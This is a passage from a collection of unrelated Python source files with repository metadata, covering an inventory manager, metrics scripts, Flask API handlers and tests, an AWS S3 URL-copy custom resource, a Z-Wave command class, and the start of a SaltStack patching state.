self.error(\"Can't look for a PRODUCT without NAME or ID\")\n return False\n self.debug('Getting PRODUCT \"{}\" from database'\n ''.format(product_name or product_id))\n #TODO: get PRODUCT from database using psycopg2\n prod_obj = _MODEL_PRODUCT(self_id=1, name='demo', stock=0, recipe_id=1)\n return prod_obj\n\n def write_product(self, product_obj):\n \"\"\"\n Writes a PRODUCT in the DATABASE\n - PRODUCT must exist with the same ID\n :product_obj: The PRODUCT to UPDATE\n :type: _MODEL_PRODUCT\n :returns: 0 if WRITE, -1 if ERROR\n \"\"\"\n if not isinstance(product_obj, _MODEL_PRODUCT):\n self.error('Trying to WRITE on PRODUCT without a MODEL_PRODUCT')\n return -1\n #TODO: update PRODUCT on database using psycopg2 and product_obj\n return 0\n\n # Task processing\n def valid_taskname(self, taskname):\n for tags, descr, args in _TASKS:\n if taskname.lower() in tags:\n return True\n return False\n\n def run_task(self, task_name):\n if not task_name:\n self.error('No task name or tag provided')\n return self.task_error\n elif not self.valid_taskname(task_name):\n self.error('Task \"{}\" does not exist'.format(task_name))\n return self.task_error\n self.debug('Running task \"{}\"'.format(task_name))\n if task_name in _TASK_HELP:\n return self.task_print_menu\n elif task_name in _TASK_INFO:\n return self.task_info\n elif task_name in _TASK_SHOW_STOCK:\n return self.task_stock\n elif task_name in _TASK_UPD_PROD:\n return self.task_single_update\n elif task_name in _TASK_SHOW_RECIPE:\n return self.task_show_recipe\n elif task_name in _TASK_SHOW_CRAFT:\n return self.task_craft_recipe\n elif task_name in _TASK_EXIT:\n return self.task_exit\n else:\n return self.task_not_implemented\n\n def task_print_menu(self, taskname, args):\n self.print_menu()\n return _RES_OK\n\n def task_info(self, taskname, args):\n if not args:\n self.error('No task provided to get more info')\n return _RES_ERR\n task = args[0]\n for words, descr, pars in _TASKS:\n if task in words:\n str_pars = '\\n'.join(\n ['\\t{word} {pars}'.format(**locals()) for word in words]\n )\n self.info(\n '{descr}\\nAvailable tags:\\n'\n '{str_pars}'.format(**locals())\n )\n return _RES_OK\n self.warn('Task {task} not found to get info'.format(**locals()))\n return _RES_WARN\n\n def task_stock(self, taskname, args):\n if not args:\n self.error('No provided to check amount')\n return _RES_ERR\n product = ' '.join(args) # Concat product name\n self.debug('Getting amount of product \"{product}\"'.format(**locals()))\n prod_obj = self.get_product(product_name=product)\n if prod_obj is None or not prod_obj:\n self.error('Could not find \"{product}\" on database')\n return _RES_ERR\n amount = prod_obj.stock\n colored_name = color_string('yellow', product)\n self.info('{colored_name}:\\t{amount}'.format(**locals()))\n return _RES_OK\n\n def task_single_update(self, taskname, args):\n if not args or len(args) < 2:\n self.error('No or provided to update amount')\n return _RES_ERR\n product = ' '.join(args[:1]) # Concat product name\n try:\n amount = int(args[-1])\n except ValueError:\n self.error('Amount to update PRODUCT not sepecified as INTEGER')\n return _RES_ERR\n self.debug('Getting product \"{product}\" to update amount with {amount}'\n ''.format(**locals()))\n prod_obj = self.get_product(product_name=product)\n if prod_obj is None or not prod_obj:\n self.error('Could not find \"{product}\" on database'\n ''.format(**locals()))\n return _RES_ERR\n old_amount = prod_obj.stock\n self.debug('Updating stock amount {old_amount} -> {amount}'\n ''.format(**locals()))\n prod_obj = prod_obj._replace(stock = amount)\n if self.write_product(prod_obj):\n self.error('Failed on write of {product} in database'\n ''.format(**locals()))\n return _RES_ERR\n self.info('Updated \"{prod_obj.name}\" stock {old_amount} -> {prod_obj.stock}'\n ''.format(**locals()))\n return _RES_OK\n\n #TODO: task_mass_update\n # - From file (CSV)\n # - From API?\n \n def task_show_recipe(self, taskname, args):\n if not args:\n self.error('No provided to check amount')\n return _RES_ERR\n product = ' '.join(args) # Concat product name\n prod_obj = self.get_product(product_name=product)\n if not prod_obj:\n self.error('Could not find product \"{product}\" on database'\n ''.format(**locals()))\n return _RES_ERR\n recipe = self.get_recipe(prod_obj.recipe_id)\n if not recipe:\n self.error('Could not find recipe \"{prod_obj.recipe_id}\"'\n ' for product \"{prod_obj.name}\"'.format(**locals()))\n return _RES_ERR\n self.info('RECIPE for '+self.print_recipe(recipe))\n return _RES_OK\n \n def task_craft_recipe(self, taskname, args):\n if not args:\n self.error('No provided to check amount')\n return _RES_ERR\n product = ' '.join(args) # Concat product name\n prod_obj = self.get_product(product_name=product)\n if not prod_obj:\n self.error('Could not find product \"{product}\" on database'\n ''.format(**locals()))\n return _RES_ERR\n recipe = self.get_recipe(prod_obj.recipe_id)\n if not recipe:\n self.error('Could not find recipe \"{prod_obj.recipe_id}\"'\n ' for product \"{prod_obj.name}\"'.format(**locals()))\n return _RES_ERR\n self.info('CRAFTING '+self.print_recipe(recipe, stock=True))\n return _RES_OK\n\n def task_error(self, taskname, args):\n self.debug(\n 'Default error for TASK: [{taskname}|{args}]'.format(**locals())\n )\n return _RES_ERR\n\n def task_not_implemented(self, taskname, args):\n self.warn('Task not implemented yet!')\n return _RES_WARN\n\n def task_exit(self, taskname, args):\n self.debug('Exiting manager')\n return _RES_EXIT\n","repo_name":"ytturi/crafting","sub_path":"CraftManager/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":14373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"74377793227","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\ny_pred = ['a', 'b', 'b', 'b', 'c', 'c']#测试集\ny_true = ['a', 'b', 'a', 'c', 'b', 'b']#真实\ndef F1_score (y_pred,y_true):\n res = {}\n qqq = {'TP': 0, 'FP': 0, 'FN': 0}\n for i in y_pred:\n res[i] = res.get(i, 0) + 1\n for i in y_true:\n res[i] = res.get(i, 0) + 1\n qqq = pd.DataFrame(qqq, index=list(res.keys()))\n for i in res.keys():\n for j in range(len(y_pred)):\n if (y_pred[j] == i) and (y_pred[j] == y_true[j]):\n qqq['TP'][i] = qqq['TP'][i] + 1\n if y_pred[j] == i:\n qqq['FN'][i] = qqq['FN'][i] + 1\n if y_true[j] == i:\n qqq['FP'][i] = qqq['FP'][i] + 1\n precision = []\n recall = []\n for i in res.keys():\n qqq['FN'][i] = qqq['FN'][i] - qqq['TP'][i]\n qqq['FP'][i] = qqq['FP'][i] - qqq['TP'][i]\n precision.append(qqq['TP'][i] / (qqq['TP'][i] + qqq['FP'][i]))\n recall.append(qqq['TP'][i] / (qqq['TP'][i] + qqq['FN'][i]))\n F1_score = [2 * precision[i] * recall[i] / (precision[i] + recall[i]) for i in range(len(precision)) if\n recall[i] != 0 or precision[i] != 0]\n F1_score = np.array(F1_score)\n print(np.sum(F1_score) / len(recall))\nF1_score(y_pred,y_true)\nsum=0\nfor i in range(1001):\n sum=sum+i\nprint(sum)\n\nprint(np.sum([i for i in range(1001)]))\n\ndf=pd.DataFrame(np.random.rand(10,5),columns=list(\"abcde\"),index=range(1,11))\ndf.plot.bar()\ndf.plot.box()\ndf.plot.scatter(x='a',y='b')\ndf.plot.barh(stacked=True)\ndf.plot()\nplt.show()\n","repo_name":"lxy417/python_1","sub_path":"F1-score.py","file_name":"F1-score.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39010904046","text":"import cgi, os\nfrom logging import getLogger\nfrom http.server import BaseHTTPRequestHandler, SimpleHTTPRequestHandler, HTTPStatus\n\nlogger = getLogger(__name__)\n\n_handleFunction = lambda req, res : logger.error(\"handleFunction not initialized :%s\", req.path)\n\ndef onRequest(on) :\n global _handleFunction\n _handleFunction = on or _handleFunction\n\nclass ResourcedHandler(SimpleHTTPRequestHandler) :\n \"\"\"\n \"\"\"\n def __init__(self, request, client_address, server, directory):\n self.directory = directory\n self.responseInfo = self.requestInfo = None\n super().__init__(request, client_address, server)\n\n def translate_path(self, path):\n return os.path.join(self.directory, super().translate_path(path).replace(os.getcwd(),\"\",1).lstrip(\"/\"))\n \n def list_directory(self, path):\n self.send_error(HTTPStatus.NOT_FOUND,\"Listing static resources is restricted.\")\n\n def __getattribute__(self, attr):\n \"\"\"\n if file exists : do_GET, do_POST\n if file not exists or is directory : do_handle\n \"\"\"\n if attr.startswith(\"do_\") : \n path = self.translate_path(self.path)\n if not os.path.exists(path) or os.path.isdir(path) :\n if os.path.exists(path.rstrip(\"/\")+\"/index.htm\") or os.path.exists(path.rstrip(\"/\")+\"/index.html\"):\n return object.__getattribute__(self, attr)\n return object.__getattribute__(self, 'do_handle')\n\n # default resource response\n return object.__getattribute__(self, \"do_handle\")\n return object.__getattribute__(self, attr)\n\n def do_handle(self) :\n self.requestInfo = self.requestInfo if self.requestInfo else RequestInfo(self)\n self.responseInfo = self.responseInfo if self.responseInfo else ResponseInfo(self)\n global _handleFunction\n logger.info(\"do_handle\")\n \n _handleFunction(self.requestInfo, self.responseInfo)\n if not self.responseInfo.isFinished() or not self.wfile.closed() :\n self.responseInfo.finish()\n \n return None\n \n def finish(self) :\n super().finish()\n # self.response.finish()\n\nclass RequestInfo(BaseHTTPRequestHandler) :\n \"\"\"\n Request data class\n \"\"\"\n def __init__(self,parent:BaseHTTPRequestHandler) :\n self.command = parent.command\n self.path = parent.path\n self.raw_requestline = parent.raw_requestline\n self.rfile = parent.rfile\n # self.parse_request()\n self.parse_body()\n \n def parse_body(self) :\n if self.command != 'POST' and self.command != 'UPDATE' :\n return\n \n ctype, pdict = cgi.parse_header(self.headers['content-type'])\n if ctype == 'multipart/form-data':\n self.form = cgi.parse_multipart(self.rfile, pdict)\n elif ctype == 'application/x-www-form-urlencoded':\n length = int(self.headers['content-length'])\n self.form = cgi.parse_qs(self.rfile.read(length), keep_blank_values=1)\n elif ctype == 'application/json':\n self.json = json.loads(self.rfile.read(length))\n \nclass ResponseInfo(BaseHTTPRequestHandler) :\n \"\"\"\n Helper class for easier response\n \"\"\"\n def __init__(self, parent):\n self.parent = parent\n self.closed = False\n self.headers = {}\n self.status = HTTPStatus.OK\n\n def isFinished(self)->bool:\n return self.closed\n\n def finish(self) :\n if self.closed or self.parent.wfile.closed:\n raise\n \n self.parent.send_response_only(self.status)\n for key in self.headers :\n self.parent.send_header(key, self.headers[key])\n self.parent.end_headers()\n # self.wfile.write(self.response.content if type(self.response.content) == bytes else str(self.response.content).encode('utf-8'))\n self.closed = True\n # self.parent.finish()","repo_name":"emuggie/thon","sub_path":"thon/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":3956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11562343109","text":" \nimport os\nimport unittest\nfrom flask import jsonify\nfrom api import app, db\nfrom flask import Flask, request\nfrom models import PointsOfInterest\nimport requests\nfrom flask import jsonify\nimport json\n\npoi_add_json = {\n \"name\": \"Endpoint test\",\n \"map_by_year\": \"2017\",\n \"year\": \"2016\",\n \"month\": \"1\",\n \"day\": \"1\",\n \"info\": \"Test info\",\n \"x_coor\": \"25\",\n \"y_coor\": \"25\",\n \"additional_links\": [\n {\n \"url\": \"test1.url.com\"\n },\n {\n \"url\": \"test2.url.com\"\n }\n ],\n \"content\": [\n {\n \"content_url\": \"test3.url.com\",\n \"caption\": \"test caption\"\n }\n]}\ndict2 = poi_add_json.copy()\ndict3 = poi_add_json.copy()\ndict2[\"name\"] = \"Endpoint test2\"\ndict3[\"name\"] = \"Endpoint test3\"\n\n\nr = requests.get('http://127.0.0.1:5000/pois')\n\nclass PointsOfInterestsTests(unittest.TestCase):\n\n def test_add_poi(self):\n r = requests.post('http://127.0.0.1:5000/pois', data=json.dumps(poi_add_json))\n self.assertEqual(r.status_code,200)\n json_dict = r.json()\n print(json_dict)\n self.assertEqual(json_dict[\"status\"], \"success\")\n def test_add_multiple_poi(self):\n \n r = requests.post('http://127.0.0.1:5000/pois', data=json.dumps(poi_add_json))\n r = requests.post('http://127.0.0.1:5000/pois', data=json.dumps(poi_add_json))\n\n\n def test_get_poi_by_id(self):\n r = requests.get('http://127.0.0.1:5000/pois/60')\n self.assertEqual(r.status_code,200)\n json_dict = r.json()\n poi = PointsOfInterest.query.get(60)\n print(\"POI name\")\n print(poi)\n name = poi.name\n print(name)\n self.assertEqual(json_dict['data'][0][\"name\"], name)\n\n def test_delete_poi(self):\n r2 = requests.post('http://127.0.0.1:5000/pois', data=json.dumps(poi_add_json))\n self.assertEqual(r.status_code,200)\n json_dict = r2.json()\n ID = json_dict['data']['id']\n r = requests.delete('http://127.0.0.1:5000/pois/' + ID)\n self.assertEqual(r.status_code,200)\n json_dict = r.json()\n self.assertEqual(json_dict['status'], \"success\")\n # def get_poi_with_id(self):\n \n\n# app = Flask(__name__)\n# with app.app_context():\n# r = requests.post(url = \"http://127.0.0.1:5000/\",params=jsonify({'username':'admin', 'password': 'admin'}))\n \n# class BasicTests(unittest.TestCase):\n# def setUp(self):\n# app.config['TESTING'] = True\n# app.config['WTF_CSRF_ENABLED'] = False\n# app.config['DEBUG'] = False\n# app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql://nbb:password@127.0.0.1:5432/nbb_db'\n# self.app = app.test_client()\n \n# db.drop_all()\n# db.create_all()\n \n# # Disable sending emails during unit testing\n# # mail.init_app(app)\n# self.assertEqual(app.debug, False)\n \n# # executed after each test\n# def tearDown(self):\n# pass\n \n\n \n# def test_main_page(self):\n# response = self.app.get('/', follow_redirects=True)\n# self.assertEqual(response.status_code, 200)\n# result = self.app.get('/pois')\n# client = app.test_client()\n# # client.post('/signup', \n# # jsonify({'username':'admin', 'password': 'admin'})\n# # )\n# # client.post('/signup', data=dict(\n# # username=\"admin\",\n# # password=\"admin\"\n# # ), follow_redirects=True)\n\n# def register(self, username, password):\n# return \"HI\"\n# return self.app.post(\n# '/signup',\n# data=dict(username=username, password=password),\n# follow_redirects=True\n# )\n\n# def login(self, username, password):\n# return self.app.post(\n# '/login',\n# data=dict(username=username, password=password),\n# follow_redirects=True\n# )\n \n# def logout(self):\n# return self.app.get(\n# '/logout',\n# follow_redirects=True\n# )\n\n# def test_valid_user_registration(self):\n# response = self.register(\"patkennedy79@gmail.com\", \"FlaskIsAwesome\")\n# # self.assertEqual(response.status_code, 200)\n# # self.assertIn(b'Thanks for registering!', response.data)\n\nif __name__ == \"__main__\":\n suite = unittest.TestLoader().loadTestsFromTestCase(PointsOfInterestsTests)\n unittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"hack4impact-uiuc/nnb-backend","sub_path":"tests/poi_unit_tests.py","file_name":"poi_unit_tests.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39695552087","text":"import json\nimport re\nimport pandas as pd\n\ndef find_ips(input_string):\n # Simple IP address regex pattern\n ip_pattern = r\"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b\"\n ips = re.findall(ip_pattern, input_string)\n return ips\n\n# Collect all IP addresses in a list\nall_ips = []\n\n# Open the json file and read each line as a separate json object\nwith open(r\"path_to_your_file.json\", 'r') as f:\n for line in f:\n data = json.loads(line)\n for key, value in data.items():\n if isinstance(value, str): # if the value is a string\n all_ips.extend(find_ips(value))\n elif isinstance(value, list): # if the value is a list\n for item in value:\n if isinstance(item, str):\n all_ips.extend(find_ips(item))\n\n# Convert the IP addresses into a pandas DataFrame\ndf = pd.DataFrame(all_ips, columns=['IP Addresses'])\n\n# Write the DataFrame to an Excel file\ndf.to_excel(r\"path_to_your_file.xlsx\", index=False)\n","repo_name":"ernerk/get-ip-address-from-json-file","sub_path":"import json.py","file_name":"import json.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27468493255","text":"class QuizBrain:\n def __init__(self, q_list):\n self.list = q_list\n self.score = 0\n\n def next_question(self):\n for num, i in enumerate(self.list, 1):\n answer = input(f\"\\nQ{num}: {i.text} (True/False)?: \")\n if answer.lower() == i.answer.lower():\n self.score += 1\n print(\"You got it right!\")\n else:\n print(f\"Wrong! The correct answer was: {i.answer}\")\n print(f\"Your current score is: {self.score}/{num}\")\n else:\n print(\"\\ngame_over!\")\n print(f\"Your final score was: {self.score}/{num}! ({round(self.score/num,2)})\")\n","repo_name":"ejmdenham/Python_Portfolio_1","sub_path":"QuizGame/quiz_game/quiz_brain.py","file_name":"quiz_brain.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3403094290","text":"import logging\nimport threading\nimport time\nfrom dataclasses import dataclass, field\nfrom os import getenv\n\nimport boto3\nimport requests\nfrom boto3.s3.transfer import TransferConfig, MB\nfrom crhelper import CfnResource\n\nlogger = logging.getLogger(__name__)\nhelper = CfnResource(log_level=getenv(\"LOG_LEVEL\", \"INFO\"))\n\n\ndef get_property(event, property_name, property_default=None, property_required=True):\n _prop = event.get(\"ResourceProperties\", {}).get(property_name, property_default)\n if not _prop and property_required:\n raise ValueError(f\"missing required property {property_name}\")\n return _prop\n\n\nclass ProgressTracker:\n \"\"\"Used to track download progress for HTTP/ HTTPS downloads\"\"\"\n\n def __init__(self, content_length):\n self.content_length = int(content_length) if content_length else None\n self.seen = 0\n self._lock = threading.Lock()\n self.started = time.time()\n\n def __call__(self, bytes_amount):\n with self._lock:\n self.seen += bytes_amount\n megabits_per_second = self.seen / 125000 / (time.time() - self.started)\n if self.content_length:\n percentage = (self.seen / self.content_length) * 100\n logger.info(\n \"transferred %d / %d bytes (%.2f%%) transfer speed: %.2f Mbit/s\"\n % (self.seen, self.content_length, percentage, megabits_per_second)\n )\n else:\n logger.info(\"transfer speed: %.2f Mbit/s\" % megabits_per_second)\n\n\n@dataclass\nclass Downloader:\n destination_bucket: str\n destination_key: str\n scheme: str\n source_url: str = field(default=None, repr=False)\n source_bucket: str = field(default=None, repr=False)\n source_key: str = field(default=None, repr=False)\n source_filename: str = field(default=None)\n\n def __post_init__(self):\n if self.scheme == \"s3\":\n self.copy_from_s3()\n elif self.scheme == \"http\" or self.scheme == \"https\":\n self.copy_from_url()\n else:\n raise ValueError(\"unsupported scheme %s\" % self.scheme)\n\n def copy_from_s3(self):\n errors = []\n if not self.source_bucket:\n errors.append(\"missing source bucket\")\n if not self.source_key:\n errors.append(\"missing source key\")\n if errors:\n raise ValueError(\n \"validation error occurred for s3 copy: %s\" % \", \".join(errors)\n )\n\n s3 = boto3.resource(\"s3\")\n dest_bucket = s3.Bucket(self.destination_bucket)\n copy_source = {\"Bucket\": self.source_bucket, \"Key\": self.source_key}\n logging.info(\n \"copying s3://%s/%s to s3://%s/%s\"\n % (\n self.source_bucket,\n self.source_key,\n self.destination_bucket,\n self.destination_key,\n )\n )\n dest_bucket.copy(copy_source, self.destination_key)\n\n def copy_from_url(self):\n if not self.source_url:\n raise ValueError(\n \"validation error occurred for url copy: missing source URL\"\n )\n\n s3 = boto3.resource(\"s3\")\n dest_object = s3.Object(self.destination_bucket, self.destination_key)\n transfer_config = TransferConfig(\n multipart_threshold=8 * MB,\n max_concurrency=4,\n multipart_chunksize=8 * MB,\n use_threads=True,\n )\n\n with requests.get(self.source_url, stream=True) as response:\n response.raw.decode_content = True\n dest_object.upload_fileobj(\n response.raw,\n Callback=ProgressTracker(\n content_length=response.headers.get(\"content-length\", None)\n ),\n Config=transfer_config,\n )\n\n\n@helper.create\ndef copy_url(event, _):\n \"\"\"\n Copy file from URL (s3:// http:// or https://)\n\n :param event: The CloudFormation custom resource event\n :return: None\n \"\"\"\n\n # instantiating this performs the download\n Downloader(\n destination_bucket=get_property(event, \"DestinationBucket\"),\n destination_key=get_property(event, \"DestinationKey\"),\n scheme=get_property(event, \"Scheme\"),\n source_bucket=get_property(event, \"SourceBucket\", property_required=False),\n source_key=get_property(event, \"SourceKey\", property_required=False),\n source_url=get_property(event, \"SourceUrl\", property_required=False),\n )\n\n\n@helper.update\n@helper.delete\ndef no_op(_, __):\n pass # pragma: no cover\n\n\ndef handler(event, _):\n \"\"\"\n Handler entrypoint - see copy_url for implementation details\n :param event: The CloudFormation custom resource event\n :return: PhysicalResourceId\n \"\"\"\n helper(event, _) # pragma: no cover\n","repo_name":"aws-solutions/improving-forecast-accuracy-with-machine-learning","sub_path":"source/cdk_solution_helper_py/helpers_cdk/aws_solutions/cdk/aws_lambda/cfn_custom_resources/url_downloader/src/custom_resources/url_downloader.py","file_name":"url_downloader.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"82"} +{"seq_id":"6354500334","text":"from flask import request, jsonify\nfrom tpt_service import app, tpt\nfrom .errors import bad_request\nfrom .activity import get_activity_id_for_tpt\nfrom tpt.commons import TPTException\nfrom .decorator import auth_required\n\n\n@app.route('/tpt/api/v1/evaluation/new/', methods=['POST'])\n@auth_required\ndef new_evaluation():\n app.logger.debug(\"NEW EVALUATION RECEIVED\")\n\n if not request.json: # post request does not contain json\n app.logger.debug(\"ERROR: CAN NOT EVALUATE WITHOUT JSON OBJECT\")\n bad_request(\"JSON request is required\")\n\n sample_data = request.json.get(\"sample_data\")\n learner_id = request.json.get(\"learner_id\") # get tesla id from json\n evaluation_id = request.json.get(\"evaluation_id\") # get evaluatio id from json\n vle_id = request.json[\"activity\"][\"vle_id\"]\n activity_type = request.json[\"activity\"][\"activity_type\"]\n activity_id = request.json[\"activity\"][\"activity_id\"]\n\n tpt_act_id = get_activity_id_for_tpt(vle_id=vle_id, activity_id=activity_id,\n activity_type=activity_type)\n\n try:\n req_id = tpt.task.prepare.execute(original_request_id=evaluation_id, user_id=learner_id,\n activity_id=tpt_act_id, data=sample_data)\n # code 0 for valid sample\n return jsonify({'status_code': '0', 'request_id': req_id})\n except TPTException as err:\n return bad_request(\"{}\".format(err))\n\n\n@app.route('/tpt/api/v1/evaluation/audit//', methods=['GET'])\n@app.route('/tpt/api/v1/evaluation/audit//', methods=['GET'])\ndef get_audit_data(original_request_id, comparison_id=None):\n app.logger.debug('ENTERING GET /evaluation/audit// endpoint')\n\n if comparison_id is None:\n audit_data = tpt.request.get_audit_data(original_request_id)\n else:\n audit_data = tpt.request.get_audit_detail_data(original_request_id, comparison_id)\n\n audit_data = {\n \"include_enrolment\": 0,\n \"include_request\": 0,\n \"audit_data\": audit_data\n }\n\n app.logger.debug('EXITING GET /evaluation/audit// endpoint')\n return jsonify({'status_code': '0', 'audit_data': audit_data})\n","repo_name":"tesla-ce/provider-pt-tpt-service","sub_path":"tpt_service/api/verification.py","file_name":"verification.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37568918706","text":"import requests\n\ndef getEmployees(limit,offset):\n try:\n r = requests.get(f'https://rfy56yfcwk.execute-api.us-west-1.amazonaws.com/bigcorp/employees?limit={limit}&offset={offset}')\n res = r.json()\n return res\n except:\n return []\n\n\ndef getEmployeesByIds(ls):\n try:\n glue = \"&id=\"\n ids = glue.join([str(i) for i in ls])\n req = \"https://rfy56yfcwk.execute-api.us-west-1.amazonaws.com/bigcorp/employees?id=\" +ids\n r = requests.get(req)\n return r.json()\n except:\n return []\n \n \n ","repo_name":"ignaciotwogears/BigCorpAPI","sub_path":"Api/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70805997390","text":"from pyzwave.const.ZW_classcmd import (\n COMMAND_CLASS_VERSION,\n VERSION_COMMAND_CLASS_GET,\n VERSION_COMMAND_CLASS_REPORT,\n VERSION_GET,\n VERSION_REPORT,\n)\n\nfrom pyzwave.message import Message\nfrom pyzwave.types import uint8_t\nfrom . import ZWaveMessage, ZWaveCommandClass\nfrom .CommandClass import CommandClass\n\n# pylint: disable=attribute-defined-outside-init\n@ZWaveCommandClass(COMMAND_CLASS_VERSION)\nclass Version(CommandClass):\n \"\"\"Command Class COMMAND_CLASS_VERSION\"\"\"\n\n NAME = \"VERSION\"\n attributes = (\n (\"zwaveLibraryType\", uint8_t),\n (\"zwaveProtocolVersion\", uint8_t),\n (\"zwaveProtocolSubVersion\", uint8_t),\n (\"applicationVersion\", uint8_t),\n (\"applicationSubVersion\", uint8_t),\n )\n\n async def interview(self):\n report = await self.sendAndReceive(VersionGet(), VersionReport)\n self.zwaveLibraryType = report.zwaveLibraryType\n self.zwaveProtocolVersion = report.zwaveProtocolVersion\n self.zwaveProtocolSubVersion = report.zwaveProtocolSubVersion\n self.applicationVersion = report.applicationVersion\n self.applicationSubVersion = report.applicationSubVersion\n\n\n@ZWaveMessage(COMMAND_CLASS_VERSION, VERSION_GET)\nclass VersionGet(Message):\n \"\"\"Command Class message COMMAND_CLASS_VERSION VERSION_GET\"\"\"\n\n NAME = \"VERSION_GET\"\n\n\n@ZWaveMessage(COMMAND_CLASS_VERSION, VERSION_REPORT)\nclass VersionReport(Message):\n \"\"\"Command Class message COMMAND_CLASS_VERSION VERSION_REPORT\"\"\"\n\n NAME = \"VERSION_REPORT\"\n\n attributes = (\n (\"zwaveLibraryType\", uint8_t),\n (\"zwaveProtocolVersion\", uint8_t),\n (\"zwaveProtocolSubVersion\", uint8_t),\n (\"applicationVersion\", uint8_t),\n (\"applicationSubVersion\", uint8_t),\n )\n\n\n@ZWaveMessage(COMMAND_CLASS_VERSION, VERSION_COMMAND_CLASS_GET)\nclass VersionCommandClassGet(Message):\n \"\"\"Command Class message COMMAND_CLASS_VERSION VERSION_COMMAND_CLASS_GET\"\"\"\n\n NAME = \"VERSION_COMMAND_CLASS_GET\"\n attributes = ((\"requestedCommandClass\", uint8_t),)\n\n\n@ZWaveMessage(COMMAND_CLASS_VERSION, VERSION_COMMAND_CLASS_REPORT)\nclass VersionCommandClassReport(Message):\n \"\"\"Command Class message COMMAND_CLASS_VERSION VERSION_COMMAND_CLASS_REPORT\"\"\"\n\n NAME = \"VERSION_COMMAND_CLASS_REPORT\"\n\n attributes = (\n (\"requestedCommandClass\", uint8_t),\n (\"commandClassVersion\", uint8_t),\n )\n","repo_name":"pyzwave/pyzwave","sub_path":"pyzwave/commandclass/Version.py","file_name":"Version.py","file_ext":"py","file_size_in_byte":2396,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"32376761405","text":"from build_table import BuildTable\n# use std lib read the arguments\nimport argparse\n\nparser = argparse.ArgumentParser(description='Train the model')\nparser.add_argument('--dir', type=str, default='输入法小作业', help='the directory of the corpus')\nparser.add_argument('--utf', type=str, default='baike', help='the list of filename encoded by utf, split by \",\"')\nargs = parser.parse_args()\nbase_dir = args.dir\nutf_list = args.utf.split(',')\n\nBuildTable().build_table(base_dir, utf_list)\n","repo_name":"huing4257/input_method","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21228365833","text":"# -*- coding: utf-8 -*-\n'''\nState module for handling Linux pre and post patching tasks, which are generally\ntoo complex for SLS and/or have render/execution timing issues.\n\n.. codeauthor:: Clint Allen \n'''\n\nfrom __future__ import absolute_import\nimport pprint\nimport re\nimport time\n# pylint: disable=too-many-branches,too-many-statements,too-many-return-statements\n\n\n# \"In-progress\" patching grain\nPATCHING_GRAIN = 'cache:patching'\n# Quarter regex\nQ_REGEX = r'2\\d{3}q[1,3]'\n\n\ndef __virtual__():\n '''\n Only run on Linux\n '''\n if __grains__['os_family'] == 'RedHat':\n return True\n return False, 'This module must be run on Linux'\n\n\ndef _error_email(body):\n # Mail the error\n recip_list = __salt__['pillar.get']('ospatch:notify:recipients')\n recipients = ','.join(recip_list)\n error_subject = __salt__['pillar.get']('ospatch:notify:error_subject')\n __salt__['smtp.send_msg'](recipients, body, subject=error_subject,\n profile='smtp_default')\n # Remove patching grain\n __salt__['grains.set'](PATCHING_GRAIN, val=None, force=True,\n destructive=True)\n\n\ndef _rootfs_check():\n disk_usage = __salt__['disk.usage']()\n cap_ret = disk_usage['/']['capacity']\n cap_str = cap_ret.strip('%')\n ret = {'result': True}\n if int(cap_str) > 89:\n error_msg = ('Root filesystem (/) is '+cap_ret+' full, unable to '\n 'patch. Free up disk space and try patching again.')\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n\n\ndef pre_patched(name=None, force=False, download=True):\n '''\n Ensure the system is pre-patched.\n\n :param str name: Quarterly patching release (e.g. 2018Q3). If None, the\n pillar default will be used (ospatch:quarter).\n :param bool force: If True, attempt pre-patching even if system is\n already at the specified quarterly release. Default is False.\n :param bool download: If True, run \"yum update\" with the \"downloadonly\"\n option. Default is True.\n '''\n changedict = {}\n # Determine quarter\n if name is None:\n quarter = __salt__['pillar.get']('ospatch:quarter')\n else:\n quarter = name.upper()\n # Current (old) quarter\n cur_quarter = __salt__['grains.get']('ni_unix:patch_set')\n # Setup return data\n ret = {'name': quarter,\n 'comment': ''}\n if __opts__['test']:\n ret['changes'] = {}\n ret['result'] = None\n else:\n ret['changes'] = changedict\n ret['result'] = True\n # Check OS version\n os_versions = __salt__['pillar.get']('postinst:linux:supported:versions')\n if __grains__['osmajorrelease'] not in os_versions:\n error_msg = 'Unsupported OS version: '+str(__grains__['osmajorrelease'])\n _error_email(error_msg)\n ret['comment'] = error_msg\n ret['result'] = False\n return ret\n # Check patching grain\n patching_grain = __salt__['grains.get'](PATCHING_GRAIN)\n if patching_grain:\n timestamp = time.asctime(time.localtime(patching_grain))\n ret['comment'] = 'Patching is in progress, started '+timestamp\n ret['result'] = False\n return ret\n # Check for invalid quarter\n if re.match(Q_REGEX, quarter, re.I) is None:\n error_msg = 